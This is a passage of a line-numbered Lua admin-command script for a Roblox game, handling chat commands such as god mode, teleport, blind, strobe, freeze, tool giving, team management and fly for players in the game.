  3071. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3072. for _,Player in pairs(Players) do
  3073. if Player ~= nil then
  3074. if Player.Character ~= nil then
  3075. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3076. Player.Character.Humanoid.MaxHealth = math.huge
  3077. Player.Character.Humanoid.Health = math.huge
  3078. end
  3079. end
  3080. end
  3081. end
  3082. end
  3083.  
  3084. if string.sub(Message,1,5+#Bet) == "nogod"..Bet or string.sub(Message,1,5+#Bet) == "ungod"..Bet then
  3085. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3086. for _,Player in pairs(Players) do
  3087. if Player ~= nil then
  3088. if Player.Character ~= nil then
  3089. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3090. Player.Character.Humanoid.MaxHealth = 100
  3091. Player.Character.Humanoid.Health = 100
  3092. end
  3093. end
  3094. end
  3095. end
  3096. end
  3097.  
  3098. if string.sub(Message,1,4+#Bet) == "char"..Bet then
  3099. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3100. local Players = Scan(Arg1, Speaker)
  3101. local ID = tonumber(Arg2) or 0
  3102. for _,Player in pairs(Players) do
  3103. if Player ~= nil then
  3104. if Arg2 == "reset" then
  3105. ID = Player.userId
  3106. end
  3107. if Player.Character ~= nil then
  3108. local Position = Player.Character.Torso.Position
  3109. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..ID
  3110. wait() Player:LoadCharacter() wait()
  3111. Player.Character:MoveTo(Position)
  3112. end
  3113. end
  3114. end
  3115. end
  3116.  
  3117. if string.sub(Message,1,2+#Bet) == "tp"..Bet then
  3118. local Arg1, Arg2 = GetSplit(string.sub(Message, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
  3119. local PlayersFrom = Scan(Arg1, Speaker)
  3120. local PlayersTo = Scan(Arg2, Speaker)
  3121. if PlayersFrom and PlayersTo then
  3122. for _,PlayerFrom in pairs(PlayersFrom) do
  3123. if PlayerFrom ~= nil then
  3124. for _,PlayerTo in pairs(PlayersTo) do
  3125. if PlayerTo ~= nil then
  3126. if PlayerFrom.Character and PlayerTo.Character then
  3127. PlayerFrom.Character:MoveTo(PlayerTo.Character.Torso.Position)
  3128. end
  3129. end
  3130. end
  3131. end
  3132. end
  3133. end
  3134. end
  3135.  
  3136. if string.sub(Message, 1, 5+#Bet) == "blind"..Bet then
  3137. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3138. for _,Player in pairs(Players) do
  3139. if Player ~= nil then
  3140. if Player.PlayerGui ~= nil then
  3141. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3142. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
  3143. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundColor3 = Color3.new(0,0,0) Frame.ZIndex = 100
  3144. end
  3145. end
  3146. end
  3147. end
  3148.  
  3149. if string.sub(Message, 1, 7+#Bet) == "noblind"..Bet then
  3150. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3151. for _,Player in pairs(Players) do
  3152. if Player ~= nil then
  3153. if Player.PlayerGui ~= nil then
  3154. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3155. end
  3156. end
  3157. end
  3158. end
  3159.  
  3160. if string.sub(Message, 1, 6+#Bet) == "strobe"..Bet then
  3161. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3162. for _,Player in pairs(Players) do
  3163. if Player ~= nil then
  3164. if Player.PlayerGui ~= nil then
  3165. local SG = Player.PlayerGui:FindFirstChild("LMMA Screen Cover") if SG ~= nil then SG:Destroy() end
  3166. SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "LMMA Screen Cover"
  3167. local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
  3168. coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
  3169. end
  3170. end
  3171. end
  3172. end
  3173.  
  3174. if string.sub(Message,1,5+#Bet) == "point"..Bet then
  3175. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3176. local PlayersFrom = Scan(Arg1, Speaker)
  3177. local PlayersTo = Scan(Arg2, Speaker)
  3178. if PlayersFrom and PlayersTo then
  3179. for _,PlayerFrom in pairs(PlayersFrom) do
  3180. if PlayerFrom ~= nil then
  3181. for _,PlayerTo in pairs(PlayersTo) do
  3182. if PlayerTo ~= nil then
  3183. if PlayerFrom.Character and PlayerTo.Character then
  3184. if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
  3185. local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = BrickColor.Random()
  3186. wait(5)
  3187. Laser:Destroy()
  3188. end)() end
  3189. end
  3190. end
  3191. end
  3192. end
  3193. end
  3194. end
  3195. end
  3196.  
  3197. --[[if string.sub(Message,1,5+#Bet) == "merge"..Bet then
  3198. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3199. local PlayersFrom = Scan(Arg1, Speaker)
  3200. local PlayersTo = Scan(Arg2, Speaker)
  3201. if PlayersFrom and PlayersTo then
  3202. for _,PlayerFrom in pairs(PlayersFrom) do
  3203. if PlayerFrom ~= nil then
  3204. for _,PlayerTo in pairs(PlayersTo) do
  3205. if PlayerTo ~= nil then
  3206. if PlayerFrom.Character and PlayerTo.Character then
  3207. PlayerFrom.Character = PlayerTo.Character
  3208. end
  3209. end
  3210. end
  3211. end
  3212. end
  3213. end
  3214. end]]
  3215.  
  3216. if string.sub(Message,1,5+#Bet) == "speed"..Bet then
  3217. local Arg1, Arg2 = GetSplit(string.sub(Message, 6+#Bet), Bet) if not Arg1 and Arg2 then return end
  3218. local Players = Scan(Arg1, Speaker)
  3219. local Speed = tonumber(Arg2)
  3220. for _,Player in pairs(Players) do
  3221. if Player ~= nil then
  3222. if Player.Character ~= nil then
  3223. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3224. Player.Character.Humanoid.WalkSpeed = Speed
  3225. end
  3226. end
  3227. end
  3228. end
  3229. end
  3230.  
  3231. if string.sub(Message,1,6+#Bet) == "health"..Bet then
  3232. local Arg1, Arg2 = GetSplit(string.sub(Message, 7+#Bet), Bet) if not Arg1 and Arg2 then return end
  3233. local Players = Scan(Arg1, Speaker)
  3234. local Health = tonumber(Arg2)
  3235. for _,Player in pairs(Players) do
  3236. if Player ~= nil then
  3237. if Player.Character ~= nil then
  3238. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3239. Player.Character.Humanoid.Health = Health
  3240. end
  3241. end
  3242. end
  3243. end
  3244. end
  3245.  
  3246. if string.sub(Message,1,4+#Bet) == "give"..Bet then
  3247. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3248. local Players = Scan(Arg1, Speaker)
  3249. local Object = Arg2
  3250. for _,Player in pairs(Players) do
  3251. if Player ~= nil then
  3252. local BuildTools = {73089166, 73089190, 73089204, 73089214, 73089239, 73089259, 58921588}
  3253. local BaseBuildTools = {["Move"] = "GameTool", ["Clone"] = "Clone", ["Delete"] = "Hammer"}
  3254. if Object == "psbtools" then
  3255. for _,Tool in pairs(BuildTools) do
  3256. Insert(Tool, Player.Backpack, true)
  3257. end
  3258. elseif Object == "basicbtools" then
  3259. for Name,Type in pairs(BaseBuildTools) do
  3260. local Tool = Instance.new("HopperBin", Player.Backpack)
  3261. Tool.Name = Name
  3262. Tool.BinType = Type
  3263. end
  3264. elseif Object == "f3xtools" or Object == "fextools" then
  3265. local BTools = script:FindFirstChild("Building Tools")
  3266. if BTools then
  3267. local Tools = BTools:Clone()
  3268. Tools.Handle.Anchored = false
  3269. Tools.Parent = Player.Backpack
  3270. end
  3271. elseif Object == "btools" then
  3272. for Name,Type in pairs(BaseBuildTools) do
  3273. local Tool = Instance.new("HopperBin", Player.Backpack)
  3274. Tool.Name = Name
  3275. Tool.BinType = Type
  3276. end
  3277. for _,Tool in pairs(BuildTools) do
  3278. Insert(Tool, Player.Backpack, true)
  3279. end
  3280. local BTools = script:FindFirstChild("Building Tools")
  3281. if BTools then
  3282. local Tools = BTools:Clone()
  3283. Tools.Handle.Anchored = false
  3284. Tools.Parent = Player.Backpack
  3285. end
  3286. else
  3287. local Regions = {Lighting}
  3288. for _,Region in pairs(Regions) do
  3289. for _,Item in pairs(Region:GetChildren()) do
  3290. if Item:IsA("HopperBin") or Item:IsA("Tool") then
  3291. if Object == "all" then
  3292. local NewItem = Item:Clone()
  3293. NewItem.Parent = Player.Backpack
  3294. else
  3295. if string.sub(string.lower(Item.Name),1,#Object) == string.lower(Object) then
  3296. local NewItem = Item:Clone()
  3297. NewItem.Parent = Player.Backpack
  3298. end
  3299. end
  3300. end
  3301. end
  3302. end
  3303. end
  3304. end
  3305. end
  3306. end
  3307.  
  3308. if string.sub(Message,1,7+#Bet) == "control"..Bet then
  3309. local Player = Scan(string.sub(Message, 8+#Bet), Speaker)[1]
  3310. if Player ~= nil and Player ~= Speaker then
  3311. if Player.Character ~= nil then
  3312. local Position = Player.Character.Torso.Position
  3313. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
  3314. wait() Speaker:LoadCharacter() wait()
  3315. Speaker.Character:MoveTo(Position)
  3316. Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
  3317.  
  3318. Player.Character.Parent = nil
  3319.  
  3320. wait()
  3321.  
  3322. ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
  3323. ChangeName(Speaker, Player.Name)
  3324. end
  3325. end
  3326. end
  3327.  
  3328. if string.sub(Message,1,4+#Bet) == "time"..Bet then
  3329. local Time = string.sub(Message,6)
  3330. if Time == "day" or Time == "noon" then Time = "12" end
  3331. if Time == "night" or Time == "midnight" then Time = "0" end
  3332. if Time == "dawn" or Time == "morning" then Time = "6:15" end
  3333. if Time == "dusk" or Time == "evening" then Time = "17:45" end
  3334. if Time == "afternoon" then Time = "15:30" end
  3335. ypcall(function() game.Lighting.TimeOfDay = Time end)
  3336. end
  3337.  
  3338. if string.sub(Message,1,4+#Bet) == "team"..Bet then
  3339. if string.sub(Message,5+#Bet,8+#Bet) == "new"..Bet then
  3340. local NewTeam = Instance.new("Team", Teams)
  3341. NewTeam.TeamColor = BrickColor.random()
  3342. NewTeam.Name = string.sub(RawMessage,9+#Bet)
  3343. end
  3344. if string.sub(Message,5+#Bet,9+#Bet) == "join"..Bet then
  3345. local Arg1, Arg2 = GetSplit(string.sub(Message, 10+#Bet), Bet) if not Arg1 and Arg2 then return end
  3346. local Players = Scan(Arg1, Speaker)
  3347. local TeamName = Arg2
  3348. if string.lower(TeamName) == "none" then
  3349. for _,Player in pairs(Players) do
  3350. if Player ~= nil then
  3351. Player.Neutral = true
  3352. end
  3353. end
  3354. else
  3355. for _,Obj in pairs(Teams:GetChildren()) do
  3356. if Obj:IsA("Team") then
  3357. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3358. for _,Player in pairs(Players) do
  3359. if Player ~= nil then
  3360. Player.Neutral = false
  3361. Player.TeamColor = Obj.TeamColor
  3362. end
  3363. end
  3364. end
  3365. end
  3366. end
  3367. end
  3368. end
  3369. if string.sub(Message,5+#Bet,11+#Bet) == "rename"..Bet then
  3370. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 12+#Bet), Bet) if not Arg1 and Arg2 then return end
  3371. local TeamName = Arg1
  3372. local NewName = Arg2
  3373. for _,Obj in pairs(Teams:GetChildren()) do
  3374. if Obj:IsA("Team") then
  3375. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3376. Obj.Name = NewName
  3377. end
  3378. end
  3379. end
  3380. end
  3381. if string.sub(Message,5+#Bet,11+#Bet) == "remove"..Bet then
  3382. local TeamName = string.sub(Message, 12+#Bet)
  3383. for _,Obj in pairs(Teams:GetChildren()) do
  3384. if Obj:IsA("Team") then
  3385. if string.sub(string.lower(Obj.Name),1,#TeamName) == string.lower(TeamName) then
  3386. for _,Player in pairs(Players:GetPlayers()) do
  3387. if Player.TeamColor == Obj.TeamColor then
  3388. Player.Neutral = true
  3389. end
  3390. end
  3391. Obj:Destroy()
  3392. end
  3393. end
  3394. end
  3395. end
  3396. end
  3397.  
  3398. if string.sub(Message,1,4+#Bet) == "name"..Bet then
  3399. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3400. local Players = Scan(Arg1, Speaker)
  3401. local NewName = Arg2
  3402. for _,Player in pairs(Players) do
  3403. if Player ~= nil then
  3404. ChangeName(Player, NewName)
  3405. end
  3406. end
  3407. end
  3408.  
  3409. if string.sub(Message,1,6+#Bet) == "noname"..Bet then
  3410. local Players = Scan(string.sub(RawMessage, 7+#Bet), Speaker)
  3411. for _,Player in pairs(Players) do
  3412. if Player ~= nil then
  3413. if Player.Character ~= nil then
  3414. local Head = Player.Character:FindFirstChild("Label")
  3415. if Head then Head:Destroy() end
  3416. local Head = Player.Character:FindFirstChild("Head")
  3417. if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
  3418. end
  3419. end
  3420. end
  3421. end
  3422.  
  3423. if string.sub(Message,1,7+#Bet) == "product"..Bet then
  3424. local Arg1, Arg2 = GetSplit(string.sub(Message, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
  3425. local Players = Scan(Arg1, Speaker)
  3426. local Item = tonumber(Arg2)
  3427. for _,Player in pairs(Players) do
  3428. if Player ~= nil then
  3429. PromptPurchase(Player, Item)
  3430. end
  3431. end
  3432. end
  3433.  
  3434. if string.sub(Message,1,5+#Bet) == "debug"..Bet then
  3435. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3436. for _,Player in pairs(Players) do
  3437. if Player ~= nil then
  3438. if Player.Character ~= nil then
  3439. local Position = nil
  3440. if Player.Character:FindFirstChild("Torso") then Position = Player.Character.Torso.Position end
  3441. Player.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Player.userId
  3442. wait() Player:LoadCharacter() wait()
  3443. if Position then Player.Character:MoveTo(Position) end
  3444. wait(0.1) RestoreCamera(Player)
  3445. end
  3446. end
  3447. end
  3448. end
  3449.  
  3450. if string.sub(Message,1,5+#Bet) == "clone"..Bet then
  3451. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3452. for _,Player in pairs(Players) do
  3453. if Player ~= nil then
  3454. if Player.Character ~= nil and Player.Character:FindFirstChild("Torso") ~= nil then
  3455. Player.Character.Archivable = true
  3456. local Clone = Player.Character:Clone()
  3457. Player.Character.Archivable = false
  3458. Clone.Parent = Workspace
  3459. Clone:MoveTo(Clone.Torso.Position)
  3460. Clone:MakeJoints()
  3461. table.insert(Objects, Clone)
  3462. end
  3463. end
  3464. end
  3465. end
  3466.  
  3467. if string.sub(Message,1,5+#Bet) == "sound"..Bet or string.sub(Message,1,5+#Bet) == "music"..Bet or string.sub(Message,1,5+#Bet) == "audio"..Bet then
  3468. local SoundID,Pitch = string.sub(Message, 6+#Bet),1
  3469. for Name,Info in pairs(SoundList) do
  3470. if SoundID == string.lower(Name) then SoundID = Info[1] end
  3471. end
  3472. if SoundID == 131201443 then Pitch = -1 end
  3473. if SoundID == 130775695 then Pitch = 0.8 end
  3474. if SoundID == 144035866 then Pitch = 0.8 end
  3475. for _,Obj in pairs(game.Workspace:GetChildren()) do
  3476. if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
  3477. end
  3478. Sound = Instance.new("Sound", Workspace) Sound.Name = "LuaModelMaker's Admin Sound" Sound.Volume = 1 Sound.SoundId = "http://www.roblox.com/asset/?id="..SoundID Sound.Looped = true Sound.Pitch = Pitch Sound.Archivable = false coroutine.wrap(function() repeat Sound:Play() wait(0.5) Sound:Stop() wait(0.5) Sound:Play() until Sound.IsPlaying or not Sound end)()
  3479. end
  3480.  
  3481. if Message == "soundlist" or Message == "musiclist" or Message == "audiolist" or Message == "sounds" or Message == "musics" or Message == "audios" then
  3482. local DisplayList = {}
  3483. for Name,Info in pairs(SoundList) do
  3484. table.insert(DisplayList, "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2])
  3485. end
  3486. ListGui(Speaker, "Sound List", DisplayList)
  3487. end
  3488.  
  3489. if string.sub(Message,1,7) == "nosound" then
  3490. for _,Obj in pairs(game.Workspace:GetChildren()) do
  3491. if Obj:IsA("Sound") then Obj:Stop() wait() Obj:Destroy() end
  3492. end
  3493. end
  3494.  
  3495. if string.sub(Message,1,6+#Bet) == "freeze"..Bet then
  3496. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3497. for _,Player in pairs(Players) do
  3498. if Player ~= nil then
  3499. if Player.Character ~= nil then
  3500. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3501. Player.Character.Humanoid.WalkSpeed = 0
  3502. for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
  3503. Object.Anchored = true
  3504. end end
  3505. end
  3506. end
  3507. end
  3508. end
  3509. end
  3510.  
  3511. if string.sub(Message,1,8+#Bet) == "nofreeze"..Bet then
  3512. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3513. for _,Player in pairs(Players) do
  3514. if Player ~= nil then
  3515. if Player.Character ~= nil then
  3516. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3517. Player.Character.Humanoid.WalkSpeed = 16
  3518. for _,Object in pairs(Player.Character:GetChildren()) do if Object:IsA("BasePart") then
  3519. Object.Anchored = false
  3520. end end
  3521. end
  3522. end
  3523. end
  3524. end
  3525. end
  3526.  
  3527. if string.sub(Message,1,8+#Bet) == "forwards"..Bet then
  3528. local Players = Scan(string.sub(Message, 9+#Bet), Speaker)
  3529. for _,Player in pairs(Players) do
  3530. if Player ~= nil then
  3531. if Player.Character ~= nil then
  3532. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3533. Player.Character.Humanoid.WalkSpeed = 16
  3534. end
  3535. end
  3536. end
  3537. end
  3538. end
  3539.  
  3540. if string.sub(Message,1,9+#Bet) == "backwards"..Bet then
  3541. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3542. for _,Player in pairs(Players) do
  3543. if Player ~= nil then
  3544. if Player.Character ~= nil then
  3545. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3546. Player.Character.Humanoid.WalkSpeed = -16
  3547. end
  3548. end
  3549. end
  3550. end
  3551. end
  3552.  
  3553. if string.sub(Message, 1, 9+#Bet) == "shownotes"..Bet or string.sub(Message, 1, 9+#Bet) == "loadnotes"..Bet then
  3554. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3555. local DataSet = {}
  3556. for _,Player in pairs(Players) do
  3557. if Player ~= nil then
  3558. local ExistingData = Player:LoadInstance("Data")
  3559. if ExistingData ~= nil then
  3560. if #ExistingData:GetChildren() ~= 0 then
  3561. for _,Data in pairs(ExistingData:GetChildren()) do
  3562. table.insert(DataSet, Player.Name..": "..Data.Name)
  3563. end
  3564. else
  3565. table.insert(DataSet, "Data does not exist for "..Player.Name)
  3566. end
  3567. else
  3568. table.insert(DataSet, "Data does not exist for "..Player.Name)
  3569. end
  3570. end
  3571. end
  3572. ListGui(Speaker, "Notes", DataSet)
  3573. end
  3574.  
  3575. if string.sub(Message,1,7+#Bet) == "notools"..Bet then
  3576. local Players = Scan(string.sub(Message, 8+#Bet), Speaker)
  3577. for _,Player in pairs(Players) do
  3578. if Player ~= nil then
  3579. if Player.Backpack ~= nil then
  3580. Player.Backpack:ClearAllChildren()
  3581. end
  3582. if Player.Character ~= nil then
  3583. for _,Obj in pairs(Player.Character:GetChildren()) do
  3584. if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
  3585. Obj:Destroy()
  3586. end
  3587. end
  3588. end
  3589. end
  3590. end
  3591. end
  3592.  
  3593. if string.sub(Message,1,6+#Bet) == "nohats"..Bet then
  3594. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3595. for _,Player in pairs(Players) do
  3596. if Player ~= nil then
  3597. if Player.Character ~= nil then
  3598. for _,Obj in pairs(Player.Character:GetChildren()) do
  3599. if Obj:IsA("Hat") then
  3600. Obj:Destroy()
  3601. end
  3602. end
  3603. end
  3604. end
  3605. end
  3606. end
  3607.  
  3608. if string.sub(Message,1,9+#Bet) == "taketools"..Bet then
  3609. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3610. for _,Player in pairs(Players) do
  3611. if Player ~= nil then
  3612. if Player.Backpack ~= nil then
  3613. if Speaker.Backpack ~= nil then
  3614. for _,Object in pairs(Player.Backpack:GetChildren()) do
  3615. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  3616. local Clone = Object:Clone()
  3617. Clone.Parent = Speaker.Backpack
  3618. end
  3619. end
  3620. end
  3621. end
  3622. end
  3623. end
  3624. end
  3625.  
  3626. if string.sub(Message,1,9+#Bet) == "givetools"..Bet then
  3627. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3628. for _,Player in pairs(Players) do
  3629. if Player ~= nil then
  3630. if Player.Backpack ~= nil then
  3631. if Speaker.Backpack ~= nil then
  3632. for _,Object in pairs(Speaker.Backpack:GetChildren()) do
  3633. if Object:IsA("Tool") or Object:IsA("HopperBin") then
  3634. local Clone = Object:Clone()
  3635. Clone.Parent = Player.Backpack
  3636. end
  3637. end
  3638. end
  3639. end
  3640. end
  3641. end
  3642. end
  3643.  
  3644. if string.sub(Message,1,4+#Bet) == "heal"..Bet then
  3645. local Players = Scan(string.sub(Message, 5+#Bet), Speaker)
  3646. for _,Player in pairs(Players) do
  3647. if Player ~= nil then
  3648. if Player.Character ~= nil then
  3649. if Player.Character:FindFirstChild("Humanoid") ~= nil then
  3650. Player.Character.Humanoid.MaxHealth = 100
  3651. Player.Character.Humanoid.Health = 100
  3652. end
  3653. end
  3654. end
  3655. end
  3656. end
  3657.  
  3658. if string.sub(Message,1,4+#Bet) == "face"..Bet then
  3659. local Arg1, Arg2 = GetSplit(string.sub(Message, 5+#Bet), Bet) if not Arg1 and Arg2 then return end
  3660. local Players = Scan(Arg1, Speaker)
  3661. local ID = Arg2
  3662. if tonumber(Arg2) ~= nil then
  3663. ID = GetImageFormat(tonumber(ID))
  3664. else
  3665. for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
  3666. for _,Face in pairs(FaceTable) do
  3667. if string.lower(Arg2) == string.lower(Face) then
  3668. ID = FaceID
  3669. break
  3670. end
  3671. end
  3672. end
  3673. end
  3674. for _,Player in pairs(Players) do
  3675. if Player ~= nil then
  3676. if Player.Character ~= nil then
  3677. if Player.Character.Head ~= nil then
  3678. if Player.Character.Head.face ~= nil then
  3679. Player.Character.Head.face.Texture = "http://www.roblox.com/asset/?id="..ID
  3680. pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "http://www.roblox.com/asset/?id="..ID end)
  3681. end
  3682. end
  3683. end
  3684. end
  3685. end
  3686. end
  3687.  
  3688. if string.sub(Message,1,2+#Bet) == "pm"..Bet then
  3689. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 3+#Bet), Bet) if not Arg1 and Arg2 then return end
  3690. local Players = Scan(Arg1, Speaker)
  3691. local MessageArg = Arg2
  3692. for _,Player in pairs(Players) do
  3693. if Player ~= nil then
  3694. SendMessage(Player, "Message from "..Speaker.Name, MessageArg, 5)
  3695. end
  3696. end
  3697. end
  3698.  
  3699. if string.sub(Message,1,3+#Bet) == "fly"..Bet then
  3700. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3701. for _,Player in pairs(Players) do
  3702. if Player ~= nil then
  3703. Fly(Player, 10000)
  3704. end
  3705. end
  3706. end
  3707.  
  3708. if string.sub(Message,1,5+#Bet) == "nofly"..Bet then
  3709. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3710. for _,Player in pairs(Players) do
  3711. if Player ~= nil then
  3712. if Player.Character ~= nil then
  3713. Instance.new("Configuration", Player.Character).Name = "LM".."MFlyStop"
  3714. end
  3715. end
  3716. end
  3717. end
  3718.  
  3719. if string.sub(Message,1,10+#Bet) == "brightness"..Bet then
  3720. Lighting.Brightness = tonumber(string.sub(Message, 11+#Bet)) or 1
  3721. end
  3722.  
  3723. if string.sub(Message,1,6+#Bet) == "noclip"..Bet then
  3724. local Players = Scan(string.sub(Message, 7+#Bet), Speaker)
  3725. for _,Player in pairs(Players) do
  3726. if Player ~= nil then
  3727. Fly(Player, 1000000)
  3728. end
  3729. end
  3730. end
  3731.  
  3732. if string.sub(Message,1,5+#Bet) == "invis"..Bet then
  3733. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3734. for _,Player in pairs(Players) do
  3735. if Player ~= nil then
  3736. if Player.Character ~= nil then
  3737. for _,Object in pairs(Player.Character:GetChildren()) do
  3738. if Object:IsA("BasePart") then
  3739. Object.Transparency = 1
  3740. end
  3741. for _,Obj in pairs(Object:GetChildren()) do
  3742. if Obj:IsA("BasePart") then
  3743. Obj.Transparency = 1
  3744. elseif Obj:IsA("Decal") then
  3745. Obj.Transparency = 1
  3746. end
  3747. end
  3748. end
  3749. end
  3750. end
  3751. end
  3752. end
  3753.  
  3754. if string.sub(Message,1,3+#Bet) == "vis"..Bet then
  3755. local Players = Scan(string.sub(Message, 4+#Bet), Speaker)
  3756. for _,Player in pairs(Players) do
  3757. if Player ~= nil then
  3758. if Player.Character ~= nil then
  3759. for _,Object in pairs(Player.Character:GetChildren()) do
  3760. if Object:IsA("BasePart") then if Object.Name ~= "HumanoidRootPart" then
  3761. Object.Transparency = 0
  3762. end end
  3763. for _,Obj in pairs(Object:GetChildren()) do
  3764. if Obj:IsA("BasePart") then
  3765. Obj.Transparency = 0
  3766. elseif Obj:IsA("Decal") then
  3767. Obj.Transparency = 0
  3768. end
  3769. end
  3770. end
  3771. end
  3772. end
  3773. end
  3774. end
  3775.  
  3776. if string.sub(Message,1,8+#Bet) == "headsize"..Bet then
  3777. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 9+#Bet), Bet) if not Arg1 and Arg2 then return end
  3778. local Players = Scan(Arg1, Speaker)
  3779. local Size = tonumber(Arg2)+25
  3780. for _,Player in pairs(Players) do
  3781. if Player ~= nil then
  3782. if Player.Character ~= nil then
  3783. if Player.Character:FindFirstChild("Head") ~= nil then
  3784. if Player.Character.Head:FindFirstChild("Mesh") then
  3785. Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
  3786. end
  3787. end
  3788. end
  3789. end
  3790. end
  3791. end
  3792.  
  3793. if string.sub(Message,1,7+#Bet) == "overlay"..Bet then
  3794. local Arg1, Arg2 = GetSplit(string.sub(RawMessage, 8+#Bet), Bet) if not Arg1 and Arg2 then return end
  3795. local Players = Scan(Arg1, Speaker)
  3796. local ID = GetImageFormat(tonumber(Arg2) or 1)
  3797. for _,Player in pairs(Players) do
  3798. if Player ~= nil then
  3799. if Player.Character ~= nil then
  3800. if Player.Character:FindFirstChild("Head") ~= nil then
  3801. local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
  3802. BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "LMMA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
  3803. local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "http://www.roblox.com/asset/?id="..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
  3804. end
  3805. end
  3806. end
  3807. end
  3808. end
  3809.  
  3810. if string.sub(Message,1,9+#Bet) == "nooverlay"..Bet then
  3811. local Players = Scan(string.sub(Message, 10+#Bet), Speaker)
  3812. for _,Player in pairs(Players) do
  3813. if Player ~= nil then
  3814. if Player.Character ~= nil then
  3815. if Player.Character:FindFirstChild("Head") ~= nil then
  3816. local BB = Player.Character.Head:FindFirstChild("LMMA Overlay") if BB then BB:Destroy() end
  3817. end
  3818. end
  3819. end
  3820. end
  3821. end
  3822.  
  3823. if string.sub(Message,1,5+#Bet) == "light"..Bet then
  3824. local Players = Scan(string.sub(Message, 6+#Bet), Speaker)
  3825. for _,Player in pairs(Players) do
  3826. if Player ~= nil then
  3827. if Player.Character ~= nil then
  3828. if Player.Character:FindFirstChild("Torso") ~= nil then
